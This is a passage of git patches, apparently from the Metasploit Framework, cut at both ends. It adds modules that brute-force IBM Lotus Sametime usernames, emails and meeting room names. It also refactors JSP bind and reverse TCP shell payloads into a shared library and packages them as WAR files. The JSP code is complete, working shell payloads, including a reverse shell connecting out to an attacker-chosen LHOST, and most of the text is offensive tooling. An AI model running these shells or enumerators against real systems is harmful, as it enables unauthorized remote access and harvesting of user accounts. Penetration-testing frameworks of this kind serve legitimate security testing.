Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Notes Sametime User Enumeration', + 'Description' => %q{ + This module extracts users using the IBM Lotus Notes Sametime web + interface using either brute-force or dictionary based attack. + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => BSD_LICENSE)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The path to the userinfo script', \ + '/userinfo/search']), + OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', \ + ['alpha', 'alphanum', 'num'] ]), + OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), + OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), + OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]), + OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), + OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]), + OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']), + OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']), + OptInt.new('Threads', [ true, 'Number of test threads', 10]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def setup + + # setup the desired charset + @charset = [] + # setup array to hold user data + @userdata = [] + + if datastore['DICT'].nil? or datastore['DICT'].empty? + # populate charset - lowercase only as search is case insensitive + case datastore['CHARSET'] + when "alpha" + ("a".."z").each do | alpha | @charset.push(alpha) end + when "num" + ("0".."9").each do | num | @charset.push(num) end + when "alphanum" + ("a".."z").each do | alpha | @charset.push(alpha) end + ("0".."9").each do | num | @charset.push(num) end + end + if datastore['SpecialChars'] + datastore['SpecialChars'].chars do | spec | + @charset.push(Rex::Text.uri_encode(spec)) + end + end + print_status("Performing Brute-Force based attack on #{peer}") + print_status("CHARSET: [#{@charset.join(",")}]") + else + print_status("Performing dictionary based attack (#{datastore['DICT']}) on #{peer}") + end + + # setup path + type = datastore['TYPE'].downcase + uri = target_uri.path + @reqpath = normalize_uri(uri + '?mode=' + type + '&searchText=') + + if (datastore['DICT'].nil? or datastore['DICT'].empty?) and datastore['MAXDEPTH'] > 2 + # warn user on long runs + print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") + end + @depth_warning = true + @tested = [] + @retries = [] + + end + + def run + + print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw") + + begin + # test for expected response code on non-existant uid/email + if datastore['TYPE'] == "UID" + rval = Rex::Text.rand_text_alpha(32) + else + rval = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com" + end + res = send_request_cgi({ + 'uri' => normalize_uri(@reqpath + rval), + 'method' => 'GET', + 'ctype' => 'text/html' + }) + end + + begin + if not res + print_error("No response from server #{peer}") + return + elsif not res.code == 200 + print_error("Unexpected response from server (Response code: #{res.code})") + return + elsif not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty? + # empty JSON element + print_error("Received invalid response from server #{peer}") + return + else + print_good("Response received, continuing to enumeration phase") + end + rescue JSON::ParserError, + print_error("Error parsing JSON: Invalid response from server #{peer}") + return + end + + # start test handler + test_handler + + # ouput results + output_results + + end + + def test_handler + + # create initial test queue and populate + @test_queue = Queue.new + if (datastore['DICT'].nil? or datastore['DICT'].empty?) + @charset.each do | char | @test_queue.push(char) end + else + File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end + print_status("Loaded #{@test_queue.length} values from dictionary") + end + + print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") + test_length = 1 # initial test length set + + while(not @test_queue.empty?) + t = [] + nt = datastore['Threads'].to_i + nt = 1 if nt == 0 + + if @test_queue.length < nt + # work around issue where threads not created as the queue isn't large enough + nt = @test_queue.length + end + + 1.upto(nt) do + t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| + Thread.current.kill if not test_current + + # provide feedback to user on current test length + if (datastore['DICT'].nil? or datastore['DICT'].empty?) and test_current.length > test_length + test_length = test_current.length + print_status("Beginning brute_force test for #{test_length} character strings") + end + + res = make_request(test_current) + + # check response to see if an error was returned, if so wait 1 second and retry + if res and res == error and not @retries.include?(test_current) + # attempt test again as the server was too busy to respond + # correctly - error returned + print_error("Error reading JSON resonse, attempting to redo check for \"#{test_current}\"") + Rex::sleep(1) # sleep 1 second and retry + @retries << test_current + res = make_request(test_current) + end + + if res and not res == error + # check response for user data + check_response(res, test_current) + elsif not @retries.include?(test_current) + vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)") + @retries << test_current + Rex::sleep(1) # sleep 1 second and retry + res = make_request(test_current) + end + + if @retries.length == 10 + print_error("Excessive number of retries detected (#{@retries.length} check TIMING)") + @retries << "warning sent to user" # increase length to avoid multiple warnings + end + end + end + t.map do | x | x.join end + end + end + + def make_request(test_current) + + # make request and return response + + # combine test string with PRE and POST variables + tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*" + # Apply timing information + if datastore['TIMING'] > 0 + Rex::sleep(datastore['TIMING']) + end + + begin + res = send_request_cgi({ + 'uri' => normalize_uri(@reqpath + tstring), + 'method' => 'GET', + 'ctype' => 'text/html' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + + end + + def check_response(res, test_current) + + # check the response for valid user information + + begin + if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty? + # successful response - extract user data + extract_user(res, test_current) + # extend test_queue to search for further data (not if dictionary in use) + extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?) + return true + elsif JSON.parse(res.body).nil? or JSON.parse(res.body).empty? # empty JSON element + # expected failure for non-existant user + return false + else + print_error("Unexpected response received from server #{peer}") + end + rescue JSON::ParserError + # non-JSON response - server may be overloaded + return error + end + end + + def extract_user(res, test_current) + + # extract user data if not already present + begin + userinfo = JSON.parse(res.body) + if not @userdata.flatten.include?(userinfo['uid']) + @userdata << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ] + if datastore['STREAMFINDINGS'] + # print newly discovered users straight to the screen + print_good("New user found: #{userinfo['uid']}") + end + report_user(userinfo['uid']) + end + rescue JSON::ParserError + print_error("Error reading JSON string, continuing") + end + + end + + def extend_queue(test_current) + + # extend the test queue if MAXDEPTH value not exceeded + # checks made to ensure duplicates are not created when extending + + # process: + # + # when a user is found searching for 'a' the queue for 'a' is extended as + # only the first user starting with 'a' will be returned (e.g. 'aanderson') + # To find all users the queue must be extended by adding 'aa' through to 'az' + # Due to the threaded nature of this module, checks need to be in place to ensure + # duplicate entries are not added to the queue by competing threads. + + if test_current.length < datastore['MAXDEPTH'] + @charset.each do | char | + if not @tested.include?(test_current + char) + # only add if not alread in queue - avoid duplicates appearing + @test_queue.push(test_current + char) + # keep track of whats already been queued and checked + @tested.push(test_current + char) + end + end + elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1 + vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests") + @depth_warning = false + return + end + + end + + def report_user(username) + report_note( + :host => rhost, + :proto => 'tcp', + :sname => 'sametime', + :port => rport, + :type => 'ibm_lotus_sametime_user', + :data => "#{username}", + :update => :unique_data + ) + end + + def output_results + # print output table + + user_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Users", + 'Prefix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "UID", + "Email", + "CommonName" + ]) + + # populate tables + @userdata.each do | line | + user_tbl << [ line[0], line[1], line[2] ] + end + + if not user_tbl.to_s.empty? + print_good("#{@userdata.length} users extracted from #{peer}") + print_line(user_tbl.to_s) + else + print_error("No users discovered") + end + end +end From 17c07516774616761b52a1f47b0fcbf4844360cd Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Thu, 26 Dec 2013 13:02:52 +0100 Subject: [PATCH 009/246] Create ibm_sametime_room_brute.rb init --- .../gather/ibm_sametime_room_brute.rb | 214 ++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 modules/auxiliary/gather/ibm_sametime_room_brute.rb diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb new file mode 100644 index 0000000000..c5630dc19e --- /dev/null +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'enumerable' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer', + 'Description' => %q{ + This module brute forces Sametime meeting room names via the IBM + Lotus Notes Sametime web interface + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => BSD_LICENSE)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']), + OptPath.new('DICT', [ true, 'The path to the userinfo script', '']), + OptBool.new('FULLDATA', [ true, 'Output full meeting room data', true]), + OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), + OptInt.new('Threads', [ true, 'Number of test threads', 10]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run + + print_status("Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}") + print_status("Using owner: #{datastore['OWNER']}") + + begin + # test for expected response code on non-existant meeting room name + rval = Rex::Text.rand_text_alpha(64) + uri = target_uri.path + @reqpath = normalize_uri(uri, '/restapi?owner=' + datastore['OWNER'] + '&permaName=') + + res = send_request_cgi({ + 'uri' => @reqpath + rval, + 'method' => 'GET', + 'ctype' => 'text/html' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + + if not res + print_error("No response from server #{peer}") + return + end + + if res.code == 404 and res.body =~ /Room does not exist/i + vprint_status("Server responding to restapi requests as expected") + else + print_error("Unexpected response from server (#{res.code}). Quitting....") + return + end + + # create initial test queue and populate + @test_queue = Queue.new + @output_lock = false + + File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end + print_status("Loaded #{@test_queue.length} values from dictionary") + + print_status("Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") + test_length = 1 # initial test length set + + while(not @test_queue.empty?) + t = [] + nt = datastore['Threads'].to_i + nt = 1 if nt == 0 + + if @test_queue.length < nt + # work around issue where threads not created as the queue isn't large enough + nt = @test_queue.length + end + + 1.upto(nt) do + t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| + Thread.current.kill if not test_current + + res = make_request(test_current) + + if res and not res.code == 404 + # check response for user data + check_response(res, test_current) + elsif res and res.code == 404 + vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}") + else + print_error("No response from server when testing (#{test_current})") + end + end + end + t.map do | x | x.join end + end + end + + def make_request(test_current) + + # make request and return response + + # Apply timing information + if datastore['TIMING'] > 0 + Rex::sleep(datastore['TIMING']) + end + + begin + + res = send_request_cgi({ + 'uri' => normalize_uri(@reqpath + test_current), + 'method' => 'GET', + 'ctype' => 'text/html' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + + end + + def check_response(res, test_current) + + # check the response for valid room information + + begin + if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty? + # successful response - extract room information + extract_room_data(res, test_current) + return true + elsif res.body =~ /Room does not exist/i + return false + else + print_error("Unexpected response received from server #{peer}") + end + rescue JSON::ParserError + # non-JSON response - server may be overloaded + return + end + end + + def extract_room_data(res, test_current) + + # extract room data if not already present + begin + roominfo = JSON.parse(res.body) + output_table(roominfo, test_current) + rescue JSON::ParserError + print_error("Error reading JSON string, continuing") + end + + end + + def output_table(roominfo, test_current) + + if datastore['FULLDATA'] + + # print output table for discovered meeting rooms + + roomtbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}", + 'Prefix' => "", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ + "Key", + "Value" + ]) + + roominfo['results'][0].each do | k,v | + if v.is_a?(Hash) + # breakdown Hash + roomtbl << [ k.to_s, '>>' ] # title line + v.each do | subk, subv | + roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty? + end + else + roomtbl << [ k.to_s, v.to_s || "-"] if not v.nil? + end + end + # output table + print_good(roomtbl.to_s) + + else + print_good("New meeting room found: #{test_current}") + end + + + end + +end From aa38a2392186e5f842991049a5aeb8a58eff63d8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 30 Dec 2013 13:53:58 -0600 Subject: [PATCH 010/246] Add generate_war to jsp_shell payloads --- .../singles/java/jsp_shell_bind_tcp.rb | 25 +++++++++++++++++++ .../singles/java/jsp_shell_reverse_tcp.rb | 24 ++++++++++++++++++ msfpayload | 2 +- 3 files changed, 50 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 0996f66a33..3959e86377 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' +require 'rex' module Metasploit3 @@ -98,4 +99,28 @@ module Metasploit3 return super + jsp end + def generate_war + jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" + + zip = Rex::Zip::Jar.new + + web_xml = <<-EOF + + + + + #{jsp_name} + + + EOF + + zip.add_file("WEB-INF/", '') + zip.add_file("WEB-INF/web.xml", web_xml) + zip.add_file(jsp_name, generate) + + zip + end + end diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index 2ab7bac8ef..47c02d0c14 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -102,4 +102,28 @@ module Metasploit3 return super + jsp end + def generate_war + jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" + + zip = Rex::Zip::Jar.new + + web_xml = <<-EOF + + + + + #{jsp_name} + + + EOF + + zip.add_file("WEB-INF/", '') + zip.add_file("WEB-INF/web.xml", web_xml) + zip.add_file(jsp_name, generate) + + zip + end + end diff --git a/msfpayload b/msfpayload index 5186274f92..ccec3fbba9 100755 --- a/msfpayload +++ b/msfpayload @@ -213,7 +213,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) plat = payload.platform.platforms exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) + if (!exe && payload.respond_to?(:generate_war)) exe = payload.generate_war.pack elsif exe exe = Msf::Util::EXE.to_jsp_war(exe) From 0725b9c69caab3acc3ad87d5c64ba06b6610a908 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 31 Dec 2013 08:27:37 -0600 Subject: [PATCH 011/246] Refactor JSP payloads --- lib/msf/core/payload.rb | 1 + lib/msf/payload/jsp.rb | 154 ++++++++++++++++++ .../singles/java/jsp_shell_bind_tcp.rb | 88 +--------- .../singles/java/jsp_shell_reverse_tcp.rb | 87 +--------- 4 files changed, 159 insertions(+), 171 deletions(-) create mode 100644 lib/msf/payload/jsp.rb diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index f3e981db47..17dd28c5dc 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -29,6 +29,7 @@ class Payload < Msf::Module require 'msf/core/payload/netware' require 'msf/core/payload/java' require 'msf/core/payload/dalvik' + require 'msf/payload/jsp' ## # diff --git a/lib/msf/payload/jsp.rb b/lib/msf/payload/jsp.rb new file mode 100644 index 0000000000..57fade18b8 --- /dev/null +++ b/lib/msf/payload/jsp.rb @@ -0,0 +1,154 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'rex' + +module Msf::Payload::JSP + # Outputs jsp that spawns a bind TCP shell + # @return [String] jsp code that executes bind TCP payload + def jsp_bind_tcp + # Modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS + <%@page import="java.lang.*"%> + <%@page import="java.util.*"%> + <%@page import="java.io.*"%> + <%@page import="java.net.*"%> + + <% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); + Socket client_socket = server_socket.accept(); + server_socket.close(); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} + %> + EOS + + return jsp.gsub(/^\s{6}/, '') + end + + # Outputs jsp code that spawns a reverse TCP shell + # @return [String] jsp code that executes reverse TCP payload + def jsp_reverse_tcp + # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS + <%@page import="java.lang.*"%> + <%@page import="java.util.*"%> + <%@page import="java.io.*"%> + <%@page import="java.net.*"%> + + <% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); + ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} + %> + EOS + return jsp.gsub(/^\s{6}/, '') + end + + # Wraps the jsp payload into a war + # @return [Rex::Zip::Jar] a war to execute the jsp payload + def generate_war + jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" + + zip = Rex::Zip::Jar.new + + web_xml = <<-EOF + + + + + #{jsp_name} + + + EOF + + zip.add_file("WEB-INF/", '') + zip.add_file("WEB-INF/web.xml", web_xml) + zip.add_file(jsp_name, generate) + + zip + end +end diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 3959e86377..a82e42814a 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -12,6 +12,7 @@ require 'rex' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::JSP include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -35,92 +36,7 @@ module Metasploit3 def generate - # Modified from: http://www.security.org.sg/code/jspreverse.html - jsp = %q{ - <%@page import="java.lang.*"%> - <%@page import="java.util.*"%> - <%@page import="java.io.*"%> - <%@page import="java.net.*"%> - - <% - class StreamConnector extends Thread - { - InputStream is; - OutputStream os; - - StreamConnector( InputStream is, OutputStream os ) - { - this.is = is; - this.os = os; - } - - public void run() - { - BufferedReader in = null; - BufferedWriter out = null; - try - { - in = new BufferedReader( new InputStreamReader( this.is ) ); - out = new BufferedWriter( new OutputStreamWriter( this.os ) ); - char buffer[] = new char[8192]; - int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) - { - out.write( buffer, 0, length ); - out.flush(); - } - } catch( Exception e ){} - try - { - if( in != null ) - in.close(); - if( out != null ) - out.close(); - } catch( Exception e ){} - } - } - - try - { - ServerSocket server_socket = new ServerSocket( LPORT ); - Socket client_socket = server_socket.accept(); - server_socket.close(); - Process process = Runtime.getRuntime().exec( "SHELL" ); - ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); - ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); - } catch( Exception e ) {} - %> - } - - jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s ) - - jsp = jsp.gsub( "SHELL", datastore['SHELL'] ) - - return super + jsp - end - - def generate_war - jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" - - zip = Rex::Zip::Jar.new - - web_xml = <<-EOF - - - - - #{jsp_name} - - - EOF - - zip.add_file("WEB-INF/", '') - zip.add_file("WEB-INF/web.xml", web_xml) - zip.add_file(jsp_name, generate) - - zip + return super + jsp_bind_tcp end end diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index 47c02d0c14..aa7bce4b28 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::JSP include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -34,96 +35,12 @@ module Metasploit3 def generate - # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html - jsp = %q{ - <%@page import="java.lang.*"%> - <%@page import="java.util.*"%> - <%@page import="java.io.*"%> - <%@page import="java.net.*"%> - - <% - class StreamConnector extends Thread - { - InputStream is; - OutputStream os; - - StreamConnector( InputStream is, OutputStream os ) - { - this.is = is; - this.os = os; - } - - public void run() - { - BufferedReader in = null; - BufferedWriter out = null; - try - { - in = new BufferedReader( new InputStreamReader( this.is ) ); - out = new BufferedWriter( new OutputStreamWriter( this.os ) ); - char buffer[] = new char[8192]; - int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) - { - out.write( buffer, 0, length ); - out.flush(); - } - } catch( Exception e ){} - try - { - if( in != null ) - in.close(); - if( out != null ) - out.close(); - } catch( Exception e ){} - } - } - - try - { - Socket socket = new Socket( "LHOST", LPORT ); - Process process = Runtime.getRuntime().exec( "SHELL" ); - ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); - ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); - } catch( Exception e ) {} - %> - } if( !datastore['LHOST'] or datastore['LHOST'].empty? ) return super end - jsp = jsp.gsub( "LHOST", datastore['LHOST'] ) - - jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s ) - - jsp = jsp.gsub( "SHELL", datastore['SHELL'] ) - - return super + jsp - end - - def generate_war - jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" - - zip = Rex::Zip::Jar.new - - web_xml = <<-EOF - - - - - #{jsp_name} - - - EOF - - zip.add_file("WEB-INF/", '') - zip.add_file("WEB-INF/web.xml", web_xml) - zip.add_file(jsp_name, generate) - - zip + return super + jsp_reverse_tcp end end From a979aedd9ee0d3fa915c37d54b9eafac4d3066a6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 31 Dec 2013 08:38:38 -0600 Subject: [PATCH 012/246] Avoid initial spaces on the JSP So the jsp isn't affected by changes on the framework indentation standards --- lib/msf/payload/jsp.rb | 196 ++++++++++++++++++++--------------------- 1 file changed, 98 insertions(+), 98 deletions(-) diff --git a/lib/msf/payload/jsp.rb b/lib/msf/payload/jsp.rb index 57fade18b8..2a81902839 100644 --- a/lib/msf/payload/jsp.rb +++ b/lib/msf/payload/jsp.rb @@ -8,62 +8,62 @@ module Msf::Payload::JSP def jsp_bind_tcp # Modified from: http://www.security.org.sg/code/jspreverse.html jsp = <<-EOS - <%@page import="java.lang.*"%> - <%@page import="java.util.*"%> - <%@page import="java.io.*"%> - <%@page import="java.net.*"%> +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> - <% - class StreamConnector extends Thread +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { - InputStream is; - OutputStream os; - - StreamConnector( InputStream is, OutputStream os ) - { - this.is = is; - this.os = os; - } - - public void run() - { - BufferedReader in = null; - BufferedWriter out = null; - try - { - in = new BufferedReader( new InputStreamReader( this.is ) ); - out = new BufferedWriter( new OutputStreamWriter( this.os ) ); - char buffer[] = new char[8192]; - int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) - { - out.write( buffer, 0, length ); - out.flush(); - } - } catch( Exception e ){} - try - { - if( in != null ) - in.close(); - if( out != null ) - out.close(); - } catch( Exception e ){} - } + out.write( buffer, 0, length ); + out.flush(); } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } - try - { - ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); - Socket client_socket = server_socket.accept(); - server_socket.close(); - Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); - ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); - ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); - } catch( Exception e ) {} - %> + try + { + ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); + Socket client_socket = server_socket.accept(); + server_socket.close(); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> EOS - return jsp.gsub(/^\s{6}/, '') + return jsp end # Outputs jsp code that spawns a reverse TCP shell @@ -71,59 +71,59 @@ module Msf::Payload::JSP def jsp_reverse_tcp # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html jsp = <<-EOS - <%@page import="java.lang.*"%> - <%@page import="java.util.*"%> - <%@page import="java.io.*"%> - <%@page import="java.net.*"%> +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> - <% - class StreamConnector extends Thread +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { - InputStream is; - OutputStream os; - - StreamConnector( InputStream is, OutputStream os ) - { - this.is = is; - this.os = os; - } - - public void run() - { - BufferedReader in = null; - BufferedWriter out = null; - try - { - in = new BufferedReader( new InputStreamReader( this.is ) ); - out = new BufferedWriter( new OutputStreamWriter( this.os ) ); - char buffer[] = new char[8192]; - int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) - { - out.write( buffer, 0, length ); - out.flush(); - } - } catch( Exception e ){} - try - { - if( in != null ) - in.close(); - if( out != null ) - out.close(); - } catch( Exception e ){} - } + out.write( buffer, 0, length ); + out.flush(); } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } - try - { - Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); - Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); - ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); - ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); - } catch( Exception e ) {} - %> + try + { + Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); + Process process = 